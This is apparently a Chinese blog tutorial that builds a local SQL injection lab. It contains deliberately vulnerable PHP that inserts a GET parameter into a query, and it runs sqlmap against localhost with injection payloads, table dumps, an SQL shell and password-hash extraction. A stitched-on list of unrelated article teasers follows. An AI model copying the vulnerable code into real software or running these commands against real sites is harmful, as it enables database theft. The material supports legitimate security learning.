工科学生死板板
工科学生死板板

搭建SQL注入环境（一）

环境

  • HTML代码：

<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Newstitle>
head>
<body>
	<form action="news.php" method="get" >
		<input type="hidden" name="id" id="1" value="1">
		<button type="submit">新闻1button>
	form>
	<form action="news.php" method="get">
		<input type="hidden" name="id" id="2" value="2">
		<button type="submit">新闻2button>
	form>
	<form action="news.php" method="get">
		<input type="hidden" name="id" id="3" value="3">
		<button type="submit">新闻3button>
	form>
body>
html>

搭建SQL注入环境（一）_第1张图片

  • php代码：
 
	$serverName = "127.0.0.1:3306";
	$username = "root";
	$passwd = "root";
	$dbName = "php_test";
	
	$conn = mysqli_connect($serverName, $username, $passwd, $dbName);
	if(!$conn)
		die("数据库连接失败！" . mysql_error());
	// 接收表单内容
	$id = $_GET["id"];
	// $passwd = $_POST["passwd"];
	// 生成SQL语句
	$sql = "SELECT content FROM news WHERE id = {$id};";
	// SQL查询
	$result = mysqli_query($conn, $sql);
	// 判断是否有符合条件的行
	if(mysqli_num_rows($result) <= 0){ ?>
		<p style="text-align: center; font-size: 20">Error！！！</p>
	 }
	else{ 
		while ($row = mysqli_fetch_assoc($result)) {?>
			<p style="text-align: center; font-size: 20"> echo $row["content"]; ?></p>
		 }
	}
	// 输出本次查询的SQL语句
	echo "

";
	echo "SQL语句：", $sql;
	mysqli_close($conn);
 ?>

搭建SQL注入环境（一）_第2张图片

注入测试

  • Sqlmap进行扫描
python sqlmap.py -u "http://localhost:8080/php/php_study/sql/SQL Injection/news.php?id=1"

扫描结果

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8161=8161

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 OR (SELECT 2761 FROM(SELECT COUNT(*),CONCAT(0x716a786271,(SELECT (ELT(2761=2761,1))),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3708 FROM (SELECT(SLEEP(5)))cpun)

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id=1 UNION ALL SELECT CONCAT(0x716a786271,0x635243766664686562586d504c70654b6364456e434a75494a4a427769757950666c795463445653,0x717a767171)-- KDFo
---
[14:50:35] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0

搭建SQL注入环境（一）_第3张图片

  • 存在注入，开始查库
python sqlmap.py -u " …… " --dbs

查询结果：
搭建SQL注入环境（一）_第4张图片

  • 查 php_test 的表
python sqlmap.py -u " …… " -D php_test --tables

查询结果：
搭建SQL注入环境（一）_第5张图片

  • 查 user 表的字段
python sqlmap.py -u " …… " -D php_test -T user --columns

查询结果：
搭建SQL注入环境（一）_第6张图片

  • 查 username 字段内容
python sqlmap.py -u " …… " -D php_test -T user -C username --dump

查询结果：
搭建SQL注入环境（一）_第7张图片

  • 其余同理。

扩展

  • 创建一个和数据库交互的shell（--sql-shell）
python sqlmap.py -u " …… " --sql-shell

搭建SQL注入环境（一）_第8张图片

  • 查询数据库所有账户（--users --password）
python sqlmap.py -u " …… " --users --password

搭建SQL注入环境（一）_第9张图片
将此hash解密（查表）
搭建SQL注入环境（一）_第10张图片

  • 查询指定库的所有信息（-a）
python sqlmap.py -u " …… " -D php_test -a

搭建SQL注入环境（一）_第11张图片

你可能感兴趣的:(Web攻防)

  • XSS四-WEB攻防-XSS跨站&CSP策略&HttpOnly属性&Filter过滤器&标签闭合&事件触发 爱敲键盘的pig 前端xss网络安全
    演示案例：XSS跨站-安全防御-CSPXSS跨站-安全防御-HttpOnlyXSS跨站-安全防御-XSSFilter1.CSP(Content Security Policy 内容安全策略)内容安全策略是一种可信白名单机制，来限制网站中是否可以包含某来源内容。该制度明确告诉客户端，哪些外部资源可以加载和执行，等同于提供白名单，它的实现和执行全部由浏览器完成，开发者只需提供配置。禁止加载外域代码，防
  • 44、WEB攻防——通用漏洞&RCE&代码执行&多层面检测利用 PT_silver 小迪安全网络
    文章目录RCE分类：REC代码执行：引用脚本代码解析执行。例如，eval('phpinfo();)以php脚本解析'phpinfo();。RCE命令执行：脚本调用操作系统命令。例如，system('ver')，命令执行能执行系统命令。RCE漏洞对象：WEB源码&中间件&其他环境。漏洞函数：#phpeval()、assert()、preg_replace()、call_user_func()、cal
  • 43、WEB攻防——通用漏洞&任意文件下载&删除重装&敏读取&黑白审计 PT_silver 小迪安全网络
    文章目录有关文件方面的漏洞：文件上传、文件包含和文件下载。文件读取：基本和文件下载利用类似；文件下载：利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路。正常情况下，文件下载不能给一个路径就下，需要有路径过滤。黑盒测试主要是看是否允许任意文件下载。文件下载时，URL有两种情况（以下载www.xiaodi18.com/soft/1.zip为例）：直链下载，www.xiaodi18.com/s
  • 42、WEB攻防——通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计 PT_silver 小迪安全前端算法
    文章目录文件包含文件包含原理攻击思路文件包含分类sessionPHP伪协议进行文件包含文件包含文件包含原理文件包含其实就是引用，相当于C语言中的include。文件包含漏洞常出现于php脚本中，当include($file)中的$file变量用户可控，就造成了文件包含漏洞。**注意被包含的文件中只要存在php代码，就可以被php解释器解析，不受文件后缀名的影响。**例如?file=1.txt，1.
  • WEB攻防-XSS跨站&Cookie盗取&表单劫持&网络钓鱼&溯源分析&项目平台框架 SuperherRo #WEB安全篇xssbeefcookie获取flash钓鱼XSSReceiver
    1、XSS跨站-攻击利用-凭据盗取2、XSS跨站-攻击利用-数据提交3、XSS跨站-攻击利用-网络钓鱼4、XSS跨站-攻击利用-溯源综合漏洞原理：接受输入数据，输出显示数据后解析执行基础类型：反射(非持续)，存储(持续)，DOM-BASE拓展类型：jquery，mxss，uxss，pdfxss，flashxss，上传xss等常用标签事件及绕过总结：https://www.freebuf.com/a
  • day38WEB攻防-通用漏洞&XSS跨站&绕过修复&http_only&CSP&标签符号 aozhan001 小迪安全-2022年xss前端
    本章知识点：1、XSS跨站-过滤绕过-便签&语句&符号等2、XSS跨站-修复方案-CSP&函数&http_only等配套资源（百度网盘）链接：https://pan.baidu.com/s/12mLsvmU22dxueyAG0aqUhw?pwd=6oa3提取码：6oa3XSS绕过-CTFSHOW-316到331关卡绕过WPxss绕过总结：https://xz.aliyun.com/t/406731
  • day37WEB攻防-通用漏洞&XSS&跨站&权限维持&钓鱼捆绑&浏览器漏洞 aozhan001 小迪安全-2022年xss安全web安全
    目录XSS-后台植入Cookie&表单劫持（权限维持）案例演示XSS-Flash钓鱼配合MSF捆绑上线1、生成后门2、下载官方文件-保证安装正常3、压缩捆绑文件-解压提取运行4、MSF配置监听状态5、诱使受害者访问URL-语言要适当XSS-浏览器网马配合MSF访问上线1、配置MSF生成URL2、诱使受害者访问URL-语言要适当本章知识点：1、XSS跨站-另类攻击手法分类2、XSS跨站-权限维持&钓
  • day36WEB攻防-通用漏洞&XSS 跨站&MXSS&UXSS&FlashXSS&PDFXSS aozhan001 小迪安全-2022年xss安全web安全
    本章知识点不是很重要，涉及到的漏洞也不是常见的，所以没有过多的阐述。配套资源（百度网盘）链接：https://pan.baidu.com/s/1xTp14wE-mqEr7EHU9nSCrg?pwd=nlsg提取码：nlsgMXSS突变型XSS漏洞MXSS参考链接：https://www.fooying.com/the-art-of-xss-1-introduction/UXSS-Edge&CVE-
  • 41、WEB攻防——通用漏洞&XML&XXE&无回显&DTD实体&伪协议&代码审计 PT_silver 小迪安全前端xml网络
    文章目录XXE原理&探针&利用XXE读取文件XXE带外测试XXE实体引用XXE挖掘XXE修复参考资料：CTFXXEXXE原理&探针&利用XXE用到的重点知识是XML，XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE(XMLExternalEntityInjectio
  • 39、WEB攻防——通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用 PT_silver 小迪安全前端csrf网络
    文章目录CSRFCSRF原理CSRF安全问题黑盒怎么判断SSRFSSRF原理SSRF黑盒可能出现的地方有SSRF，可以做什么事儿？SSRF漏洞挖掘CSRFCSRF原理测试CSRF漏洞的工具：CSRFTesterCSRFTester设置代理，会抓取新建管理员时向服务器发送的数据包，然后用抓取的数据包构造HTML页面。注意发送注册信息的形式（表单？IMG？）CSRF利用流程：获取目标的触发数据包；利用
  • 40、WEB攻防——通用漏洞&CSRF&SSRF&代码审计&同源策略&加载函数 PT_silver 小迪安全前端csrf
    文章目录CSRFSSRF审计思路CSRF如何对CSRF进行测试？尝试添加管理员为例抓取添加管理员的用户名和密码的数据包，形成html文件，并放到公网服务器上。登录后台的状态下访问刚刚那个文件，CSRF攻击完成。CSRF绕过：针对来源检测，可以：（1）伪造referer，需要在html代码数据包文件中固定http-referer；（2）尝试在网站任何可上传地方，上传数据包文件，取得当前同域名访问地址
  • 【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训笔记（WEB攻防35-40-XSS、CSRF、SSRF） 清歌secure 前端安全网络
    第35天WEB攻防-通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持知识点：1、XSS跨站-原理&攻击&分类等2、XSS跨站-反射型&存储型&DOM型等3、XSS跨站攻击手法&劫持&恣取凭据等4、XSS跨站-攻击项目&XSS平台&Beef-XSS1、原理指改击者利用网程序对用户输入过不足，端入可以量示在页面上对其他用尸道成影响的HTML代码，从而盗取用户资料、利用用户具份进行某种动或者对访问者
  • 38、WEB攻防——通用漏洞&XSS跨站&绕过修复&http_only&CSP&标签符号 PT_silver 小迪安全前端xsshttp
    文章目录一、Ctfshowweb316——未做任何过滤（反射型）web317-319——过滤特定标签（反射型）web320——过滤空格（反射型）web328——注册插入JS（存储型）web329——验证失效（存储型）web330——XSS+CSRF（GET型）web331——XSS+CSRF（POST型）二、XSS防御一、CtfshowXSS总结web316——未做任何过滤（反射型）documen
  • 37、WEB攻防——通用漏洞&XSS跨站&权限维持&捆绑钓鱼&浏览器漏洞 PT_silver 小迪安全前端xss
    文章目录XSS——后台植入Cookie&表单劫持（获取明文密码）XSS——Flash钓鱼配合MSF捆绑上线XSS——浏览器网马配合MSF访问上线要想获取有效的cookie，需要：1、网站本身采用cookie进行验证；2、网站未做http-only等的防御手段。XSS——后台植入Cookie&表单劫持（获取明文密码）后台植入XSS获取Cookie，主要是在登录成功的文件中写入XSS代码，一旦有人登录
  • 36、WEB攻防——通用漏洞&XSS跨站&MXSS&UXSS&FlashXSS&PDFXSS PT_silver 小迪安全前端xss
    文章目录MXSSUXSSFlashXSSPDFXSS跨站的艺术-XSS入门与介绍UTF-7XSS、MHTMLXSS、CSSXSS、VBScriptXSS已经过时，基本上不会出现。MXSS简单来说，就是你往前端页面插入payload，但是前端有些防御策略会将payload编码，导致payload不能被正常执行。如果将插入payload的链接用低版本QQ转发给别人，因为QQ有自动预览功能，重新优化原网
  • 第31天：WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 My Year 2019 安全web安全
    1，什么是文件上传漏洞？上传文件时，未对上传的文件进行严格的验证和过滤，造成用户可以上传可执行脚本的漏洞叫文件上传漏洞。2，文件上传漏洞有哪些危害？可以通过文件上传漏洞上传网站后门，获取网站权限3，文件上传的防御1、文件上传的目录设置为不可执行2、判断文件类型（使用白名单的方式，对于图片的处理，可以使用压缩函数或resize函数，在处理图片的同时破坏图片中可能包含的HTML代码）3、使用随机数改写
  • WEB攻防-通用漏洞&文件上传&二次渲染&.htaccess&变异免杀 @墨竹 前端安全php
    目录知识点详细点文件二次渲染php删除规则例题CTF-Web入门-162CTF-Web入门-163CTF-Web入门-164CTF-Web入门-165CTF-Web入门-166CTF-Web入门-167CTF-Web入门-168CTF-Web入门-169-170知识点1、文件上传-二次渲染2、文件上传-简单免杀变异3、文件上传-.htaccess妙用4、文件上传-PHP语言特性详细点1、检测层面：
  • day29WEB攻防-通用漏洞&SQL注入&盲注&延时&布尔&报错&增删改查 aozhan001 小迪安全-2022年sql数据库
    目录一，盲注-时间&布尔&报错型1.基于布尔的SQL盲注-逻辑判断1.1布尔类型盲注判断1.2布尔型盲注注入流程1.2.1、在参数后添加引号尝试报错，并用and1=1#和and1=2#测试报错1.2.2、判断数据库名的长度1.2.3、猜解数据库名1.2.4、判断数据库表名1.2.5、判断数据库字段名1.2.6、取数据1.3案例演示-BupSuite2.基于时间的SQL盲注-延时判断2.1时间类型盲
  • day30WEB攻防-通用漏洞&SQL注入&二次注入&堆叠注入 aozhan001 小迪安全-2022年sql数据库
    目录一，二次注入1.二次注入原理2.二次注入代码分析3.二次注入案例演示二，堆叠注入1.堆叠注入原理2.堆叠注入条件3.堆叠注入案例演示一，二次注入1.二次注入原理二次注入主要分为两步第一步：插入恶意数据：第一次进行数据库数据插入的时候，仅仅对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身包含恶意内容。第二步：引用恶意数据：在将数据存入到数据库中之后，开发者就认为数
  • day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 aozhan001 小迪安全-2022年前端
    目录1.JS验证2.JS验证+MIME3.JS验证+.user.ini4.JS验证+.user.ini+短标签（ctfshow154，155关）5.JS验证+.user.ini+短标签+过滤[]6.JS验证+.user.ini+短标签+加过滤+文件头有关文件上传的知识1.为什么文件上传存在漏洞上传文件时，如果服务瑞代码未对客户端上传的文件进行严格的验证和过滤，就容易造成可以上传任意文件的情况，包括
  • day26WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等 aozhan001 小迪安全-2022年sqloracle数据库
    目录一，数据库注入-联合猜解-Oracle&Mongodb案例：二，SQLMAP的讲解和使用1.关于SQLmap的几个知识点1.1什么是SQLMAP？1.2它支持哪些数据库的注入？1.3它支持哪些SQL注入模式？1.4它支持哪些其他不一样的功能？1.5使用SQLMAP一般注入流程分析？2.SQLMAP的下载安装3.SQLMAP的使用4.基于MYSQL数据库的简单案例4.1在sqlmap目录下打开c
  • day27WEB攻防-通用漏洞&SQL注入&常见SQL注入类型&Tamper脚本的使用 aozhan001 小迪安全-2022年sql数据库
    目录一，常见SQL注入类型1.数字型2.字符型3.搜索型4.编码型：数据以编码值传递5.格式型：JSON6.字符转义处理防护-宽字节注入二，Tamper脚本的使用Tamper作用：脚本使用格式常用tamper脚本案例演示一，常见SQL注入类型1.数字型判断方法：?id=1and1=1?id=1and1=21=1时条件成立返回id=1的数据，1=2时条件不成立返回空，由此判断为数字注入。如果为字符型
  • WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性 @墨竹 前端javascriptphp
    目录知识点1、文件上传-前端验证2、文件上传-黑白名单3、文件上传-user.ini妙用4、文件上传-PHP语言特性详细介绍1、检测层面：前端，后端等2、检测内容：文件头，完整性，二次渲染等3、检测后缀：黑名单，白名单，MIME检测等4、绕过技巧5、前置知识案例演示-CTFSHOW-文件上传-151到161关卡CTF-文件上传-151CTF-文件上传-152CTF-文件上传-153CTF-文件上传
  • 第23天：WEB攻防-Python考点&CTF与CMS-SSTI模版注入&PYC反编译 My Year 2019 flaskpython后端
    目录PYC文件反编译SSTIflask模板注入BUUCTF-shrine靶场题目SSTI考点-CMS源码-MACCMS_V8.X(苹果cms)执行PYC文件反编译介绍：pyc文件是py文件编译后生成的字节码文件(bytecode)。pyc文件经过python解释器最终会生成机器码运行。所以pyc文件是可以跨平台部署的，类似Java的.class文件。一般py文件改变后，都会重新生成pyc文件。但在
  • Web攻防--JAVAWEB项目&JWT身份攻击&组件安全&Python考点&CTF与CMS-SSTI模版注入&PYC反编译 LaPluie985 安全web安全javapython网络安全
    知识点：1、JavaWeb常见安全及代码逻辑2、目录遍历&身份验证&逻辑&JWT3、访问控制&安全组件&越权&三方组件案例演示：JavaWeb-WebGoat8靶场搭建使用安全问题-目录遍历&身份认证-JWT攻击安全问题-访问控制&安全组件-第三方组件环境下载地址：GitHub-WebGoat/WebGoat:WebGoatisadeliberatelyinsecureapplication（安装
  • 第二十三天：WEB攻防-WEB攻防-Python考点&CTF与CMS-SSTI模版注入&PYC反编译 新奇八 网络安全安全网络安全phppython
    -python的pyc文件pyc文件是py文件编译后生成的字节码文件(bytecode)。pyc文件经过python解释器最终会生成机器码运行。所以pyc文件是可以跨平台部署的，类似Java的.class文件。一般py文件改变后，都会重新生成pyc文件。当然，生成的pyc文件也是可以通过网上一些在线平台反编译出来从而获得源码的反编译平台：1.https://tool.lu/pyc/2.http:/
  • 35、WEB攻防——通用漏洞&XSS跨站&反射&存储&DOM&盲打&劫持 PT_silver 小迪安全前端xss
    文章目录XSS产生于前端的漏洞，常产生于：XSS分类：反射型（非持久型）存储型（持久型），攻击代码被写入数据库中。常见于：写日志、留言、评论的地方DOM型DOM型XSS与反射型XSS、存储型XSS的最大区别在于：DOM型XSS前端的数据是传输给前端JS代码进行处理，而反射型XSS、存储型XSS是后端PHP代码对前端数据进行处理。mXSS（突变型XSS）UXSS（通用型XSS）FlashXSSUTF
  • V2022全栈培训笔记（WEB攻防46-WEB攻防-通用漏洞&PHP反序列化&原生类&漏洞绕过&公私有属性） 清歌secure 笔记php网络安全安全
    第46天WEB攻防-通用漏洞&PHP反序列化&原生类&漏洞绕过&公私有属性知识点：1、反序列化魔术方法全解2、反序列化变量属性全解3、反序列化魔术方法原生类4、反序列化语言特性漏洞绕过~其他魔术方法共有&私有&保护语言模式方法漏洞~原生类获取利用配合#反序列化利用大概分类三类-魔术方法的调用逻辑如触发条件-语言原生类的调用逻辑如SoapClient-语言自身的安全缺陷如CVE-2016-7124#
  • 34、WEB攻防——通用漏洞&文件上传&黑白盒审计&逻辑&中间件&外部引用 PT_silver 小迪安全php
    文章目录黑盒：个人用户中心是否存在文件上传功能；后台管理系统是否存在文件上传功能；字典目录扫描探测文件上传地址；字典目录扫描探测编辑器目录地址。网站调用常见的编辑器，编辑器地址都是默认的。白盒：看三点，中间件、编辑器、功能代码中间件直接看语言环境常见搭配编辑器直接看目录机构或搜索关键字功能代码直接看源码应用或搜索关键字在白盒中，根据数据包的请求地址来看后端哪个文件处理该请求。某个目录不允许执行ph
  • 33、WEB攻防——通用漏洞&文件上传&中间件解析漏洞&编辑器安全 PT_silver 小迪安全前端中间件编辑器
    文章目录一、中间件文件解析——IIS&Apache&Nginx1、IIS2、Apache3、Nginx二、web编辑器一、中间件文件解析——IIS&Apache&Nginx1、IISIIS爆过漏洞的版本：IIS6.0（windowsserver2003）、IIS7.0和IIS7.5（windowsserver2008）IIS6.0解析漏洞：文件名：x.asp;x.jpg，jpg的文件后缀名，但是会
  • 矩阵求逆（JAVA）初等行变换 qiuwanchi 矩阵求逆（JAVA）
    package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(初等行变换) * @author 邱万迟 *
  • JDK timer antlove javajdkschedulecodetimer
    1.java.util.Timer.schedule(TimerTask task, long delay)：多长时间（毫秒）后执行任务 2.java.util.Timer.schedule(TimerTask task, Date time)：设定某个时间执行任务 3.java.util.Timer.schedule(TimerTask task, long delay,longperiod
  • JVM调优总结 -Xms -Xmx -Xmn -Xss coder_xpf jvm应用服务器
    堆大小设置JVM 中最大堆大小有三方面限制：相关操作系统的数据模型（32-bt还是64-bit）限制；系统的可用虚拟内存限制；系统的可用物理内存限制。32位系统下，一般限制在1.5G~2G；64为操作系统对内存无限制。我在Windows Server 2003 系统，3.5G物理内存，JDK5.0下测试，最大可设置为1478m。 典型设置： java -Xmx
  • JDBC连接数据库 Array_06 jdbc
    package Util; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class JDBCUtil { //完
  • Unsupported major.minor version 51.0（jdk版本错误） oloz java
    java.lang.UnsupportedClassVersionError: cn/support/cache/CacheType : Unsupported major.minor version 51.0 (unable to load class cn.support.cache.CacheType) at org.apache.catalina.loader.WebappClassL
  • 用多个线程处理1个List集合 362217990 多线程threadlist集合
      昨天发了一个提问，启动5个线程将一个List中的内容，然后将5个线程的内容拼接起来，由于时间比较急迫，自己就写了一个Demo，希望对菜鸟有参考意义。。 import java.util.ArrayList; import java.util.List; import java.util.concurrent.CountDownLatch; public c
  • JSP简单访问数据库 香水浓 sqlmysqljsp
    学习使用javaBean，代码很烂，仅为留个脚印 public class DBHelper { private String driverName; private String url; private String user; private String password; private Connection connection; privat
  • Flex4中使用组件添加柱状图、饼状图等图表 AdyZhang Flex
    1.添加一个最简单的柱状图 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?xml version= "1.0"&n
  • Android 5.0 - ProgressBar 进度条无法展示到按钮的前面 aijuans android
    在低于SDK < 21 的版本中，ProgressBar 可以展示到按钮前面，并且为之在按钮的中间，但是切换到android 5.0后进度条ProgressBar 展示顺序变化了，按钮再前面，ProgressBar 在后面了我的xml配置文件如下：   [html]  view plain copy   <RelativeLa
  • 查询汇总的sql baalwolf sql
    select   list.listname, list.createtime,listcount from dream_list as list ,   (select listid,count(listid) as listcount  from dream_list_user  group by listid  order by count(
  • Linux du命令和df命令区别 BigBird2012 linux
            1，两者区别             du，disk usage,是通过搜索文件来计算每个文件的大小然后累加，du能看到的文件只是一些当前存在的，没有被删除的。他计算的大小就是当前他认为存在的所有文件大小的累加和。        
  • AngularJS中的$apply，用还是不用？ bijian1013 JavaScriptAngularJS$apply
            在AngularJS开发中，何时应该调用$scope.$apply()，何时不应该调用。下面我们透彻地解释这个问题。         但是首先，让我们把$apply转换成一种简化的形式。         scope.$apply就像一个懒惰的工人。它需要按照命
  • [Zookeeper学习笔记十]Zookeeper源代码分析之ClientCnxn数据序列化和反序列化 bit1129 zookeeper
    ClientCnxn是Zookeeper客户端和Zookeeper服务器端进行通信和事件通知处理的主要类，它内部包含两个类，1. SendThread 2. EventThread， SendThread负责客户端和服务器端的数据通信，也包括事件信息的传输，EventThread主要在客户端回调注册的Watchers进行通知处理   ClientCnxn构造方法   &
  • 【Java命令一】jmap bit1129 Java命令
    jmap命令的用法：   [hadoop@hadoop sbin]$ jmap Usage: jmap [option] <pid> (to connect to running process) jmap [option] <executable <core> (to connect to a
  • Apache 服务器安全防护及实战 ronin47
    此文转自IBM. Apache 服务简介 Web 服务器也称为 WWW 服务器或 HTTP 服务器 (HTTP Server)，它是 Internet 上最常见也是使用最频繁的服务器之一，Web 服务器能够为用户提供网页浏览、论坛访问等等服务。 由于用户在通过 Web 浏览器访问信息资源的过程中，无须再关心一些技术性的细节，而且界面非常友好，因而 Web 在 Internet 上一推出就得到
  • unity 3d实例化位置出现布置？ brotherlamp unity教程unityunity资料unity视频unity自学
    问：unity 3d实例化位置出现布置？ 答：实例化的同时就可以指定被实例化的物体的位置,即 position  Instantiate (original : Object, position : Vector3, rotation : Quaternion) : Object 这样你不需要再用Transform.Position了,   如果你省略了第二个参数(
  • 《重构，改善现有代码的设计》第八章 Duplicate Observed Data bylijinnan java重构
    import java.awt.Color; import java.awt.Container; import java.awt.FlowLayout; import java.awt.Label; import java.awt.TextField; import java.awt.event.FocusAdapter; import java.awt.event.FocusE
  • struts2更改struts.xml配置目录 chiangfai struts.xml
    struts2默认是读取classes目录下的配置文件，要更改配置文件目录，比如放在WEB-INF下，路径应该写成../struts.xml(非/WEB-INF/struts.xml) web.xml文件修改如下：   <filter> <filter-name>struts2</filter-name> <filter-class&g
  • redis做缓存时的一点优化 chenchao051 redishadooppipeline
            最近集群上有个job，其中需要短时间内频繁访问缓存，大概7亿多次。我这边的缓存是使用redis来做的，问题就来了。       首先，redis中存的是普通kv，没有考虑使用hash等解结构，那么以为着这个job需要访问7亿多次redis，导致效率低，且出现很多redi
  • mysql导出数据不输出标题行 daizj mysql数据导出去掉第一行去掉标题
    当想使用数据库中的某些数据，想将其导入到文件中，而想去掉第一行的标题是可以加上-N参数 如通过下面命令导出数据： mysql -uuserName -ppasswd -hhost -Pport -Ddatabase -e " select * from tableName"  > exportResult.txt 结果为： studentid
  • phpexcel导出excel表简单入门示例 dcj3sjt126com PHPExcelphpexcel
    先下载PHPEXCEL类文件，放在class目录下面，然后新建一个index.php文件，内容如下 <?php error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE);   if (PHP_SAPI == 'cli') die('
  • 爱情格言 dcj3sjt126com 格言
     1) I love you not because of who you are, but because of who I am when I am with you. 　　 我爱你，不是因为你是一个怎样的人，而是因为我喜欢与你在一起时的感觉。 　　2) No man or woman is worth your tears, and the one who is, won‘t
  • 转 Activity 详解——Activity文档翻译 e200702084 androidUIsqlite配置管理网络应用
    activity 展现在用户面前的经常是全屏窗口，你也可以将 activity 作为浮动窗口来使用（使用设置了 windowIsFloating 的主题），或者嵌入到其他的 activity （使用 ActivityGroup ）中。 当用户离开 activity 时你可以在 onPause() 进行相应的操作 。更重要的是，用户做的任何改变都应该在该点上提交 ( 经常提交到 ContentPro
  • win7安装MongoDB服务 geeksun mongodb
    1.  下载MongoDB的windows版本：mongodb-win32-x86_64-2008plus-ssl-3.0.4.zip，Linux版本也在这里下载，下载地址： http://www.mongodb.org/downloads   2.  解压MongoDB在D:\server\mongodb, 在D:\server\mongodb下创建d
  • Javascript魔法方法:__defineGetter__,__defineSetter__ hongtoushizi js
    转载自： http://www.blackglory.me/javascript-magic-method-definegetter-definesetter/ 在javascript的类中,可以用defineGetter和defineSetter_控制成员变量的Get和Set行为 例如,在一个图书类中,我们自动为Book加上书名符号: function Book(name){
  • 错误的日期格式可能导致走nginx proxy cache时不能进行304响应 jinnianshilongnian cache
    昨天在整合某些系统的nginx配置时，出现了当使用nginx cache时无法返回304响应的情况，出问题的响应头： Content-Type:text/html; charset=gb2312 Date:Mon, 05 Jan 2015 01:58:05 GMT Expires:Mon , 05 Jan 15 02:03:00 GMT Last-Modified:Mon, 05
  • 数据源架构模式之行数据入口 home198979 PHP架构行数据入口
    注：看不懂的请勿踩，此文章非针对java，java爱好者可直接略过。   一、概念 行数据入口（Row Data Gateway）：充当数据源中单条记录入口的对象，每行一个实例。   二、简单实现行数据入口 为了方便理解，还是先简单实现： <?php /** * 行数据入口类 */ class OrderGateway { /*定义元数
  • Linux各个目录的作用及内容 pda158 linux脚本
    1）根目录“/” 　　根目录位于目录结构的最顶层，用斜线（/）表示，类似于 Windows 操作系统的“C:\“，包含Fedora操作系统中所有的目录和文件。 　　2）/bin 　　/bin 　　目录又称为二进制目录，包含了那些供系统管理员和普通用户使用的重要 linux命令的二进制映像。该目录存放的内容包括各种可执行文件，还有某些可执行文件的符号连接。常用的命令有：cp、d
  • ubuntu12.04上编译openjdk7 ol_beta HotSpotjvmjdkOpenJDK
    获取源码 从openjdk代码仓库获取(比较慢) 安装mercurial Mercurial是一个版本管理工具。 sudo apt-get install mercurial 将以下内容添加到$HOME/.hgrc文件中，如果没有则自己创建一个： [extensions] forest=/home/lichengwu/hgforest-crew/forest.py fe
  • 将数据库字段转换成设计文档所需的字段 vipbooks 设计模式工作正则表达式
            哈哈，出差这么久终于回来了，回家的感觉真好！         PowerDesigner的物理数据库一出来，设计文档中要改的字段就多得不计其数，如果要把PowerDesigner中的字段一个个Copy到设计文档中，那将会是一件非常痛苦的事情。
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他